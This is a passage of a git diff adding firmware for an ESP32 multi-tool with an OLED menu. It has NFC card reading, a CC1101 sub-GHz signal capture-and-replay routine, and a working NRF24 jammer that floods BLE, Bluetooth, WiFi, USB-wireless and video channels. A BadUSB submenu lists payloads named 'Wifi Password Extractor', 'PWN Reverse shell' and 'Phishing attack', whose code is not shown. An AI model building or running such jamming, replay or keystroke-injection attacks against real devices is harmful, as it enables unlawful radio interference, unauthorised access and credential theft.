+ // SPI.begin(
+ // cc1101_SCK,
+ // cc1101_MISO,
+ // cc1101_MOSI,
+ // CC1101_CS
+ //);
+
+ // pinMode(CC1101_CS, OUTPUT);
+ // pinMode(CC1101_2_CS, OUTPUT);
+
+ // digitalWrite(CC1101_CS, HIGH);
+ // digitalWrite(CC1101_2_CS, HIGH);
+
+ printSystemUsage();
+
+ Serial.println("SYSTEM READY");
+}
+
+// ================= LOOP =================
+void loop() { menuLoop(); }
diff --git a/src-arduino/nfc/nfc.cpp b/src-arduino/nfc/nfc.cpp
new file mode 100644
index 0000000..a18f47b
--- /dev/null
+++ b/src-arduino/nfc/nfc.cpp
@@ -0,0 +1,104 @@
+#include "nfc.h"
+
+#include <Adafruit_PN532.h>
+#include <Arduino.h>
+#include <Wire.h>
+
+#include "config.h"
+#include "utils/buttons.h"
+#include "ui/display.h"
+
+#define PN532_IRQ -1
+#define PN532_RESET -1
+
+// Adafruit_PN532 nfc(Wire);
+Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
+
+void drawWaiting() {
+ u8g2.clearBuffer();
+
+ u8g2.drawStr(10, 20, "PN532 Ready");
+ u8g2.drawStr(10, 40, "Tap NFC Card");
+
+ u8g2.sendBuffer();
+}
+
+void showUID(uint8_t *uid, uint8_t uidLength) {
+ char line[64];
+
+ String uidStr = "";
+
+ for (int i = 0; i < uidLength; i++) {
+ if (uid[i] < 0x10)
+ uidStr += "0";
+
+ uidStr += String(uid[i], HEX);
+ uidStr += " ";
+ }
+
+ uidStr.toUpperCase();
+
+ u8g2.clearBuffer();
+
+ u8g2.drawStr(0, 15, "Card Detected");
+
+ snprintf(line, sizeof(line), "UID:");
+
+ u8g2.drawStr(0, 35, line);
+
+ u8g2.drawStr(0, 50, uidStr.c_str());
+
+ u8g2.sendBuffer();
+}
+
+void pn532_init() {
+ delay(100);
+ nfc.begin();
+ delay(100);
+
+ uint32_t versiondata = nfc.getFirmwareVersion();
+
+ if (!versiondata) {
+ Serial.println("PN532 not found");
+
+ u8g2.clearBuffer();
+ u8g2.drawStr(0, 20, "PN532 NOT FOUND");
+ u8g2.sendBuffer();
+
+ delay(2000);
+ return;
+ }
+
+ Serial.println("PN532 initialized");
+
+ nfc.SAMConfig();
+}
+
+void pn532_scan_loop() {
+ pn532_init();
+
+ drawWaiting();
+
+ while (1) {
+ uint8_t success;
+ uint8_t uid[7];
+ uint8_t uidLength;
+
+ Serial.println("Scanning...");
+ success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid,
+ &uidLength, 50);
+
+ if (success) {
+ Serial.println("Card detected");
+
+ showUID(uid, uidLength);
+
+ delay(1000);
+ }
+
+ if (btnBack()) {
+ delay(150);
+ break;
+ }
+ }
+}
diff --git a/src-arduino/nfc/nfc.h b/src-arduino/nfc/nfc.h
new file mode 100644
index 0000000..1570b5d
--- /dev/null
+++ b/src-arduino/nfc/nfc.h
@@ -0,0 +1,4 @@
+#pragma once
+
+void pn532_init();
+void pn532_scan_loop();
diff --git a/src-arduino/rf/cc1101.cpp b/src-arduino/rf/cc1101.cpp
new file mode 100644
index 0000000..7e11d0b
--- /dev/null
+++ b/src-arduino/rf/cc1101.cpp
@@ -0,0 +1,357 @@
+#include "cc1101.h"
+#include "config.h"
+#include "ELECHOUSE_CC1101_SRC_DRV.h"
+#include "ui/display.h"
+#include "utils/buttons.h"
+#include "SPI.h"
+#include <Arduino.h>
+
+// ===== CONFIG =====
+#define RAW_BUF_MAX 512
+
+// ===== STATE =====
+static bool cc1101Inited = false;
+
+// ===== CAPTURE STATE =====
+volatile unsigned long captureBuffer[RAW_BUF_MAX];
+volatile int pulseIndex = 0;
+volatile unsigned long lastEdgeTime = 0;
+volatile bool capturing = false;
+
+// ===== RF SETTINGS =====
+float currentFreq = 433.92;
+float dataRate = 3.79372;
+float deviation = 0.0;
+float rxBW = 325.0;
+int powerLevel = 10;
+
+// ===== ISR =====
+void IRAM_ATTR pulseISR() {
+ unsigned long now = micros();
+
+ if (!capturing)
+ return;
+ if (pulseIndex >= RAW_BUF_MAX)
+ return;
+
+ unsigned long duration = now - lastEdgeTime;
+
+ if (duration < 150)
+ return;
+
+ captureBuffer[pulseIndex++] = duration;
+ lastEdgeTime = now;
+}
+
+// ===== OOK SETUP =====
+void setupOOKMode() {
+ ELECHOUSE_cc1101.SetRx();
+ ELECHOUSE_cc1101.setMHZ(currentFreq);
+
+ ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
+ ELECHOUSE_cc1101.setDRate(dataRate);
+ ELECHOUSE_cc1101.setDeviation(0);
+ ELECHOUSE_cc1101.setRxBW(rxBW);
+ ELECHOUSE_cc1101.setSyncMode(0);
+ ELECHOUSE_cc1101.setPA(powerLevel);
+}
+
+// ===== INIT (LAZY, SAFE) =====
+// ================= CC1101 INIT =================
+bool initCC1101() {
+ Serial.println();
+ Serial.println("===== CC1101 INIT =====");
+
+ // ===== SPI =====
+ SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
+
+ pinMode(CC1101_CS, OUTPUT);
+ digitalWrite(CC1101_CS, HIGH);
+
+ delay(100);
+
+ // ===== GDO =====
+ ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
+
+ ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
+
+ // ===== DETECT =====
+ Serial.println("Checking chip...");
+
+ if (!ELECHOUSE_cc1101.getCC1101()) {
+ Serial.println("❌ CC1101 NOT FOUND");
+ return false;
+ }
+
+ Serial.println("✅ CC1101 FOUND");
+
+ // ===== IMPORTANT =====
+ // DO NOT CALL Init()
+ // it freezes on some ESP32-S3 setups
+
+ // ===== MANUAL CONFIG =====
+ ELECHOUSE_cc1101.setMHZ(currentFreq);
+
+ // 2 = ASK/OOK
+ ELECHOUSE_cc1101.setModulation(2);
+
+ ELECHOUSE_cc1101.setDRate(dataRate);
+
+ ELECHOUSE_cc1101.setRxBW(rxBW);
+
+ ELECHOUSE_cc1101.setDeviation(0);
+
+ // disable sync requirement
+ ELECHOUSE_cc1101.setSyncMode(0);
+
+ ELECHOUSE_cc1101.setPA(powerLevel);
+
+ // async serial mode
+ ELECHOUSE_cc1101.setCCMode(0);
+
+ // enter RX
+ ELECHOUSE_cc1101.SetRx();
+
+ pinMode(CC1101_GDO0, INPUT);
+
+ Serial.println("✅ RX MODE READY");
+
+ cc1101Inited = true;
+ return true;
+}
+// ===== CAPTURE CONTROL =====
+void startCapture() {
+ pulseIndex = 0;
+ capturing = true;
+ lastEdgeTime = micros();
+
+ attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
+
+ Serial.println("Looking for RF... ");
+}
+
+bool isCC1101Ready() { return cc1101Inited; }
+
+void stopCapture() {
+ capturing = false;
+
+ detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
+
+ Serial.println("Capture stopped");
+}
+
+// ===== DEBUG PRINT =====
+void printCapture() {
+ Serial.println("Captured pulses:");
+
+ for (int i = 0; i < pulseIndex; i++) {
+ Serial.println(captureBuffer[i]);
+ }
+}
+
+// ================= REPLAY =================
+void replaySignal() {
+ Serial.println();
+ Serial.println("Replaying signal...");
+
+ stopCapture();
+
+ ELECHOUSE_cc1101.SetTx();
+
+ pinMode(CC1101_GDO0, OUTPUT);
+
+ for (int i = 0; i < pulseIndex; i++) {
+ digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
+
+ delayMicroseconds(captureBuffer[i]);
+ }
+
+ digitalWrite(CC1101_GDO0, LOW);
+
+ ELECHOUSE_cc1101.SetRx();
+
+ pinMode(CC1101_GDO0, INPUT);
+
+ Serial.println("Replay complete");
+}
+
+void captureAndDisplay() {
+ if (!cc1101Inited) {
+ if (!initCC1101()) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 20, "CC1101 Failed");
+ u8g2.sendBuffer();
+ return;
+ }
+ }
+
+ startCapture();
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 12, "CC1101 Capture");
+ u8g2.drawStr(0, 28, "Waiting RF...");
+ u8g2.drawStr(0, 60, "BACK = Exit");
+ u8g2.sendBuffer();
+
+ unsigned long lastSignal = millis();
+ int lastPulseCount = 0;
+
+ while (true) {
+ // signal detected
+ if (pulseIndex > lastPulseCount) {
+ lastPulseCount = pulseIndex;
+ lastSignal = millis();
+ }
+
+ // update OLED
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+
+ u8g2.drawStr(0, 12, "CC1101 Capture");
+
+ u8g2.setCursor(0, 28);
+ u8g2.print("Pulses: ");
+ u8g2.print(pulseIndex);
+
+ u8g2.setCursor(0, 42);
+ u8g2.print("Freq: ");
+ u8g2.print(currentFreq);
+ u8g2.print(" MHz");
+
+ if (pulseIndex > 0) {
+ u8g2.drawStr(0, 54, "Signal Detected");
+ } else {
+ u8g2.drawStr(0, 54, "Waiting...");
+ }
+
+ u8g2.sendBuffer();
+
+ // auto print once capture stabilizes
+ if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
+ stopCapture();
+
+ Serial.println();
+ Serial.println("===== RF CAPTURE =====");
+
+ for (int i = 0; i < pulseIndex; i++) {
+ Serial.print(captureBuffer[i]);
+ Serial.print(", ");
+ }
+
+ Serial.println();
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 15, "Capture Complete");
+
+ u8g2.setCursor(0, 35);
+ }
+ }
+}
+
+void handleMenu() {
+ if (!isCC1101Ready()) {
+ if (!initCC1101()) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 20, "CC1101 Failed");
+ u8g2.sendBuffer();
+ delay(1500);
+ return;
+ }
+ }
+
+ pulseIndex = 0;
+
+ startCapture();
+
+ // ===== CAPTURE FOR 5 SEC =====
+ unsigned long start = millis();
+
+ while (millis() - start < 5000) {
+ noInterrupts();
+ int count = pulseIndex;
+ interrupts();
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+
+ u8g2.drawStr(0, 12, "RF Capturing...");
+
+ u8g2.setCursor(0, 30);
+ u8g2.print("Pulses: ");
+ u8g2.print(count);
+
+ u8g2.sendBuffer();
+
+ delay(50);
+ }
+
+ stopCapture();
+
+ // ===== DISPLAY CAPTURE BUFFER =====
+ int scroll = 0;
+
+ while (1) {
+ noInterrupts();
+ int count = pulseIndex;
+ interrupts();
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
+
+ u8g2.drawStr(0, 8, "Captured Buffer");
+
+ // display 6 lines
+ for (int i = 0; i < 6; i++) {
+ int idx = scroll + i;
+
+ if (idx >= count)
+ break;
+
+ noInterrupts();
+ unsigned long val = captureBuffer[idx];
+ interrupts();
+
+ char buf[32];
+
+ snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
+
+ u8g2.drawStr(0, 20 + (i * 8), buf);
+ }
+
+ u8g2.sendBuffer();
+
+ // scroll down
+ if (btnDown()) {
+ if (scroll < count - 1)
+ scroll++;
+
+ delay(120);
+ }
+
+ // scroll up
+ if (btnUp()) {
+ if (scroll > 0)
+ scroll--;
+
+ delay(120);
+ }
+
+ // replay
+ if (btnSelect()) {
+ replaySignal();
+ delay(300);
+ }
+
+ // exit
+ if (btnBack()) {
+ delay(150);
+ return;
+ }
+
+ delay(20);
+ }
+}
diff --git a/src-arduino/rf/cc1101.h b/src-arduino/rf/cc1101.h
new file mode 100644
index 0000000..def6a2e
--- /dev/null
+++ b/src-arduino/rf/cc1101.h
@@ -0,0 +1,12 @@
+#pragma once
+
+bool initCC1101();
+bool isCC1101Ready();
+
+void captureAndDisplay();
+
+void handleMenu();
+void startCapture();
+void stopCapture();
+void printCapture();
+void replaySignal();
diff --git a/src-arduino/rf/nrf24.cpp b/src-arduino/rf/nrf24.cpp
new file mode 100644
index 0000000..0b0ed90
--- /dev/null
+++ b/src-arduino/rf/nrf24.cpp
@@ -0,0 +1,217 @@
+#include "nrf24.h"
+#include "ui/display.h"
+#include "utils/buttons.h"
+#include <Arduino.h>
+#include <RF24.h>
+#define JAM_DURATION 500
+
+extern SPIClass *RADIO_SPI;
+extern RF24 radio1;
+extern RF24 radio2;
+
+// ============ CHANNELS =============
+const byte bleChannels[] = {2, 26, 80};
+const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6,
+ 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
+const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42,
+ 47, 52, 57, 62, 67, 72};
+const byte usbWireless_channels[] = {40, 50, 60};
+const byte videoTransmitter_channels[] = {70, 75, 80};
+const byte zigbee_channels[] = {11, 15, 20, 25};
+const byte rc_channels[] = {1, 3, 5, 7};
+
+void initNRF(RF24 &radio) {
+ if (!radio.begin(RADIO_SPI)) {
+ Serial.println("NRF not found");
+ return;
+ }
+
+ radio.setAutoAck(false);
+ radio.stopListening();
+ radio.setRetries(0, 0);
+ radio.setPALevel(RF24_PA_MAX, true);
+ radio.setDataRate(RF24_2MBPS);
+ radio.openWritingPipe(0xE7E7E7E7E7LL);
+ radio.setCRCLength(RF24_CRC_DISABLED);
+ Serial.println("NRF Initialized");
+}
+
+// void startBleJammer() {
+// initNRF(radio1);
+// initNRF(radio2);
+//
+// Serial.println("NRF JAMMER STARTED");
+//
+// const char payload[] = "xxxxxxxxxxxxxxxx";
+//
+// u8g2.clearBuffer();
+// u8g2.drawStr(0, 10, "Jamming:");
+// u8g2.setCursor(60, 10);
+// u8g2.print("Bluetooth");
+// u8g2.sendBuffer();
+//
+// while(true) {
+//
+// // Channels (you can change this set)
+// const byte channels[] = {2, 26, 80};
+//
+//
+// for (int i = 0; i < sizeof(channels); i++) {
+// radio1.setChannel(channels[i]);
+// radio1.write(&payload, sizeof(payload));
+// //radio2.setChannel(channels[i]);
+// //radio2.write(&payload, sizeof(payload));
+// }
+//
+// if (btnBack())
+// {
+// Serial.println("Jammer stopped");
+// return;
+// }
+// }
+//
+// }
+//
+// void startBluetoothJammer()
+//{
+// initNRF(radio1);
+// initNRF(radio2);
+//
+// Serial.println("NRF JAMMER STARTED");
+//
+// const char payload[] = "xxxxxxxxxxxxxxxx";
+//
+// u8g2.clearBuffer();
+// u8g2.drawStr(0, 10, "Jamming:");
+// u8g2.setCursor(60, 10);
+// u8g2.print("Bluetooth");
+// u8g2.sendBuffer();
+//
+// while(true) {
+//
+// // Channels (you can change this set)
+// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22,
+// 24, 26, 28, 30, 74, 76, 78, 80};
+//
+//
+// for (int i = 0; i < sizeof(channels); i++) {
+// radio1.setChannel(channels[i]);
+// radio1.write(&payload, sizeof(payload));
+// //radio2.setChannel(channels[i]);
+// //radio2.write(&payload, sizeof(payload));
+// }
+//
+// if (btnBack())
+// {
+// Serial.println("Jammer stopped");
+// return;
+// }
+// }
+// }
+
+void startJammer(const char *name, const byte *channels, size_t channelCount) {
+ initNRF(radio1);
+ initNRF(radio2);
+
+ Serial.println("NRF JAMMER STARTED");
+
+ const char payload[] = "xxxxxxxxxxxxxxxx";
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 15, "NRF24 Jammer");
+ u8g2.drawStr(0, 35, name);
+ u8g2.drawStr(0, 55, "BACK = Exit");
+ u8g2.sendBuffer();
+
+ while (true) {
+ for (size_t i = 0; i < channelCount; i++) {
+ // radio1.setChannel(channels[i]);
+ // radio1.write(&payload, sizeof(payload));
+
+ // Optional second NRF
+ // radio2.setChannel(channels[i]);
+ // radio2.write(&payload, sizeof(payload));
+
+ radio1.setChannel(channels[i]);
+ radio2.setChannel(channels[(i + 1) % channelCount]);
+
+ radio1.writeFast(&payload, sizeof(payload));
+ radio2.writeFast(&payload, sizeof(payload));
+ }
+
+ if (btnBack()) {
+ Serial.println("Jammer stopped");
+ radio1.powerDown();
+ radio2.powerDown();
+ return;
+ }
+ }
+
+ // while (true) {
+ // for (size_t i = 0; i < channelCount; i++)
+ //{
+ // radio1.setChannel(channels[i]);
+ // radio2.setChannel(channels[(i + 1) % channelCount]);
+
+ // radio1.writeFast(&payload, sizeof(payload));
+ // radio2.writeFast(&payload, sizeof(payload));
+
+ // radio1.txStandBy(1);
+ // radio2.txStandBy(1);
+
+ // delayMicroseconds(200);
+ //}
+
+ // if (btnBack())
+ //{
+ // Serial.println("Jammer stopped");
+
+ // radio1.powerDown();
+ // radio2.powerDown();
+
+ // return;
+ //}
+ //}
+}
+
+void NRFToolsMenu(int index) {
+ switch (index) {
+ case 0:
+ // startBleJammer();
+ // BLE
+ startJammer("BLE", bleChannels,
+ sizeof(bleChannels) / sizeof(bleChannels[0]));
+
+ break;
+ case 1:
+ // startBluetoothJammer();
+ // Bluetooth
+ startJammer("Bluetooth", bluetoothChannels,
+ sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
+ break;
+
+ case 2:
+ startJammer("WiFi", wifiChannels,
+ sizeof(wifiChannels) / sizeof(wifiChannels[0]));
+ break;
+ case 3:
+ startJammer("USB Wireless", usbWireless_channels,
+ sizeof(usbWireless_channels) /
+ sizeof(usbWireless_channels[0]));
+ break;
+ case 4:
+ startJammer("Video TX", videoTransmitter_channels,
+ sizeof(videoTransmitter_channels) /
+ sizeof(videoTransmitter_channels[0]));
+ break;
+ case 5:
+ break;
+ startJammer("RC", rc_channels,
+ sizeof(rc_channels) / sizeof(rc_channels[0]));
+ break;
+ case 6:
+
+ break;
+ }
+}
diff --git a/src-arduino/rf/nrf24.h b/src-arduino/rf/nrf24.h
new file mode 100644
index 0000000..6d7f7d8
--- /dev/null
+++ b/src-arduino/rf/nrf24.h
@@ -0,0 +1,13 @@
+#pragma once
+
+#include <RF24.h>
+
+// Initialization
+void initNRF(RF24 &radio);
+
+void startBluetoothJammer();
+void startBleJammer();
+
+void startJammer(const char *name, const byte *channels, size_t channelCount);
+
+void NRFToolsMenu(int index);
diff --git a/src-arduino/ui/display.cpp b/src-arduino/ui/display.cpp
new file mode 100644
index 0000000..3fb572d
--- /dev/null
+++ b/src-arduino/ui/display.cpp
@@ -0,0 +1,11 @@
+#include "display.h"
+#include "config.h"
+#include <Wire.h>
+
+U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
+
+void displayInit() {
+ Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
+ u8g2.begin();
+ u8g2.setFont(u8g2_font_6x12_tr);
+}
diff --git a/src-arduino/ui/display.h b/src-arduino/ui/display.h
new file mode 100644
index 0000000..0b48b75
--- /dev/null
+++ b/src-arduino/ui/display.h
@@ -0,0 +1,7 @@
+#pragma once
+
+#include <U8g2lib.h>
+
+extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
+
+void displayInit();
diff --git a/src-arduino/ui/menu.cpp b/src-arduino/ui/menu.cpp
new file mode 100644
index 0000000..284d214
--- /dev/null
+++ b/src-arduino/ui/menu.cpp
@@ -0,0 +1,316 @@
+#include "menu.h"
+#include "BleMouse.h"
+#include "bluetooth/ble_mouse.h"
+#include "bluetooth/blescanner.h"
+#include "display.h"
+#include "hid/badusb.h"
+#include "nfc/nfc.h"
+#include "rf/cc1101.h"
+#include "rf/nrf24.h"
+#include "utils/buttons.h"
+#include "utils/device_check.h"
+#include "utils/sysinfo.h"
+#include "wifi/wifi_analyzer.h"
+#include "wifi/wifi_scan.h"
+#include <Arduino.h>
+
+// ================= MENU DATA =================
+extern BleMouse bleMouse;
+
+// Root menu
+const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools",
+ "BLE Scan", "Wifi Scan", "Wifi Analyzer",
+ "System Info", "Device Check", "Restart",
+ "Ble Mouse", "NFC Tools"};
+
+Menu mainMenu = {mainMenuItems,
+ sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
+
+// NRF Tools menu
+const char *nrfToolsItems[] = {
+ "BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless",
+ "Video TX", "Zigbee", "RC"
+
+};
+
+Menu nrfToolsMenu = {nrfToolsItems,
+ sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
+
+const char *badusbItems[] = {"ORION Demo",
+ "RickRoll",
+ "Matrix Rain",
+ "Fake Terminal",
+ "Wifi Password Extractor",
+ "Fake Update",
+ "Fake BSOD",
+ "Glitch Screen",
+ "ASCII Spam",
+ "Hacker Typer",
+ "PWN Reverse shell",
+ "Phishing attack",
+ "Desktop Ghost",
+ "System Stresser"};
+
+Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
+
+// ================= MENU STATE =================
+
+Menu *currentMenu = &mainMenu;
+
+int menuIndex = 0;
+int menuOffset = 0;
+
+#define MENU_VISIBLE_ROWS 4
+
+bool insideFeature = false;
+
+// ================= DRAW =================
+
+void drawMenu() {
+ u8g2.clearBuffer();
+
+ // scroll handling
+ if (menuIndex < menuOffset)
+ menuOffset = menuIndex;
+
+ if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
+ menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
+
+ for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
+ int item = menuOffset + i;
+
+ if (item >= currentMenu->size)
+ break;
+
+ if (item == menuIndex)
+ u8g2.drawStr(0, 14 + i * 14, ">");
+
+ u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
+ }
+
+ // scroll indicators
+ if (menuOffset > 0)
+ u8g2.drawStr(118, 10, "^");
+
+ if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
+ u8g2.drawStr(118, 62, "v");
+
+ u8g2.sendBuffer();
+}
+
+// ================= FEATURE EXECUTION =================
+
+void launchFeature() {
+ insideFeature = true;
+
+ if (currentMenu == &mainMenu) {
+ switch (menuIndex) {
+ case 0: // BadUSB → enter submenu
+ currentMenu = &badusbMenu;
+ menuIndex = 0;
+ menuOffset = 0;
+ break;
+
+ case 1:
+ handleMenu();
+ break;
+ case 2:
+ // startNRFJammer();
+ // startBleJammer();
+ // startBluetoothJammer();
+ currentMenu = &nrfToolsMenu;
+ menuIndex = 0;
+ menuOffset = 0;
+ break;
+
+ break;
+ case 3:
+ ble_scan();
+ ble_drawMenu();
+ while (1) {
+ ble_loop();
+ if (btnBack())
+ break;
+ }
+ break;
+
+ case 4: {
+ // Start scan once
+ wifi_scan_start();
+ wifi_scan_draw();
+
+ while (1) {
+ wifi_scan_loop();
+ // EXIT condition handled ONLY here
+ if (btnBack()) {
+ delay(150); // debounce
+ break;
+ }
+ }
+ break;
+ }
+ case 5: {
+
+ wifi_analyzer_start();
+
+ bool prevBack = false;
+ while (1) {
+ wifi_analyzer_loop();
+ bool nowBack = btnBack();
+ if (nowBack && !prevBack) {
+ delay(150);
+ break;
+ }
+ prevBack = nowBack;
+ }
+ break;
+ }
+
+ case 6:
+ runSystemInfoFeature();
+ break;
+ case 7:
+ device_check_run();
+ break;
+ case 8: {
+ // wait for button release
+ delay(200);
+
+ while (btnSelect())
+ delay(10);
+ bool confirm = false;
+
+ while (1) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x13_tr);
+
+ u8g2.drawStr(18, 18, "Restart Device?");
+
+ if (confirm) {
+ u8g2.drawBox(10, 35, 45, 15);
+ u8g2.setDrawColor(0);
+ u8g2.drawStr(20, 47, "YES");
+ u8g2.setDrawColor(1);
+
+ u8g2.drawStr(75, 47, "NO");
+ } else {
+ u8g2.drawStr(20, 47, "YES");
+
+ u8g2.drawBox(65, 35, 45, 15);
+ u8g2.setDrawColor(0);
+ u8g2.drawStr(78, 47, "NO");
+ u8g2.setDrawColor(1);
+ }
+
+ u8g2.sendBuffer();
+
+ if (btnLeft() || btnUp()) {
+ confirm = true;
+ delay(150);
+ }
+
+ if (btnRight() || btnDown()) {
+ confirm = false;
+ delay(150);
+ }
+
+ if (btnSelect()) {
+ delay(150);
+
+ if (confirm) {
+ u8g2.clearBuffer();
+ u8g2.drawStr(28, 30, "Restarting...");
+ u8g2.sendBuffer();
+
+ delay(1000);
+ ESP.restart();
+ } else {
+ break;
+ }
+ }
+
+ if (btnBack()) {
+ delay(150);
+ break;
+ }
+ }
+ } break;
+
+ case 9:
+ // Begin Ble mouse
+ bleMouse.begin();
+ ble_mouse_run();
+ break;
+ case 10:
+ pn532_scan_loop();
+ break;
+ }
+ } else if (currentMenu == &badusbMenu) {
+ badUSBMenu(menuIndex);
+ } else if (currentMenu == &nrfToolsMenu) {
+ NRFToolsMenu(menuIndex);
+ }
+
+ insideFeature = false;
+
+ drawMenu();
+}
+
+// ================= INIT =================
+
+void menuInit() {
+ currentMenu = &mainMenu;
+ menuIndex = 0;
+ menuOffset = 0;
+
+ drawMenu();
+}
+
+// ================= LOOP =================
+
+void menuLoop() {
+ static uint32_t lastPress = 0;
+
+ if (insideFeature)
+ return;
+
+ if (millis() - lastPress < 150)
+ return;
+
+ if (btnUp()) {
+ menuIndex--;
+
+ if (menuIndex < 0)
+ menuIndex = currentMenu->size - 1;
+
+ drawMenu();
+ lastPress = millis();
+ }
+
+ else if (btnDown()) {
+ menuIndex++;
+
+ if (menuIndex >= currentMenu->size)
+ menuIndex = 0;
+
+ drawMenu();
+ lastPress = millis();
+ }
+
+ else if (btnSelect()) {
+ launchFeature();
+ lastPress = millis();
+ }
+
+ else if (btnBack()) {
+ if (currentMenu != &mainMenu) {
+ currentMenu = &mainMenu;
+ menuIndex = 0;
+ menuOffset = 0;
+
+ drawMenu();
+ }
+
+ lastPress = millis();
+ }
+}
diff --git a/src-arduino/ui/menu.h b/src-arduino/ui/menu.h
new file mode 100644
index 0000000..3f37057
--- /dev/null
+++ b/src-arduino/ui/menu.h
@@ -0,0 +1,9 @@
+#pragma once
+
+struct Menu {
+ const char **items;
+ int size;
+};
+
+void menuInit();
+void menuLoop();
diff --git a/src-arduino/utils/buttons.cpp b/src-arduino/utils/buttons.cpp
new file mode 100644
index 0000000..166ee41
--- /dev/null
+++ b/src-arduino/utils/buttons.cpp
@@ -0,0 +1,19 @@
+#include "buttons.h"
+#include "config.h"
+#include <Arduino.h>
+
+void buttonsInit() {
+ pinMode(BTN_UP, INPUT_PULLUP);
+ pinMode(BTN_DOWN, INPUT_PULLUP);
+ pinMode(BTN_SELECT, INPUT_PULLUP);
+ pinMode(BTN_BACK, INPUT_PULLUP);
+ pinMode(BTN_RIGHT, INPUT_PULLUP);
+ pinMode(BTN_LEFT, INPUT_PULLUP);
+}
+
+bool btnUp() { return !digitalRead(BTN_UP); }
+bool btnDown() { return !digitalRead(BTN_DOWN); }
+bool btnSelect() { return !digitalRead(BTN_SELECT); }
+bool btnBack() { return !digitalRead(BTN_BACK); }
+bool btnRight() { return !digitalRead(BTN_RIGHT); }
+bool btnLeft() { return !digitalRead(BTN_LEFT); }
diff --git a/src-arduino/utils/buttons.h b/src-arduino/utils/buttons.h
new file mode 100644
index 0000000..cfa9fa3
--- /dev/null
+++ b/src-arduino/utils/buttons.h
@@ -0,0 +1,10 @@
+#pragma once
+
+void buttonsInit();
+
+bool btnUp();
+bool btnDown();
+bool btnSelect();
+bool btnBack();
+bool btnRight();
+bool btnLeft();
diff --git a/src-arduino/utils/device_check.cpp b/src-arduino/utils/device_check.cpp
new file mode 100644
index 0000000..17613b3
--- /dev/null
+++ b/src-arduino/utils/device_check.cpp
@@ -0,0 +1,151 @@
+#include "ELECHOUSE_CC1101_SRC_DRV.h"
+#include <Arduino.h>
+#include <RF24.h>
+#include <SPI.h>
+#include <Wire.h>
+
+#include "config.h"
+#include "ui/display.h"
+#include "buttons.h"
+
+// ===== EXTERNALS =====
+extern RF24 radio1;
+extern RF24 radio2;
+extern SPIClass *RADIO_SPI;
+extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
+
+// ===== RESULTS =====
+struct DeviceStatus {
+ bool nrf1 = false;
+ bool nrf2 = false;
+ bool cc1101 = false;
+ bool oled = true;
+};
+
+// ===== NRF CHECK =====
+// bool checkNRF(RF24 &radio)
+//{
+// // safer: only init if needed
+// if (!radio.isChipConnected()) {
+// if (!radio.begin(RADIO_SPI))
+// return false;
+// }
+//
+// return radio.isChipConnected();
+//}
+
+bool checkNRF(RF24 &radio) {
+ radio.powerDown();
+ delay(5);
+
+ if (!radio.begin(RADIO_SPI))
+ return false;
+
+ delay(5);
+
+ return radio.isChipConnected();
+}
+
+// ===== CC1101 CHECK =====
+bool checkCC1101(uint8_t csPin) {
+ ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin);
+
+ delay(5);
+
+ return ELECHOUSE_cc1101.getCC1101();
+}
+
+// ===== DRAW =====
+#define MAX_ITEMS 4
+#define VISIBLE_ROWS 5
+
+const char *labels[MAX_ITEMS] = {"NRF1", "NRF2", "CC1101", "OLED"};
+
+bool values[MAX_ITEMS];
+
+int selectedIndex = 0;
+int offset = 0;
+
+void drawStatus(DeviceStatus &s) {
+ values[0] = s.nrf1;
+ values[1] = s.nrf2;
+ values[2] = s.cc1101;
+ values[3] = s.oled;
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+
+ // scrolling logic
+ if (selectedIndex < offset)
+ offset = selectedIndex;
+
+ if (selectedIndex >= offset + VISIBLE_ROWS)
+ offset = selectedIndex - VISIBLE_ROWS + 1;
+
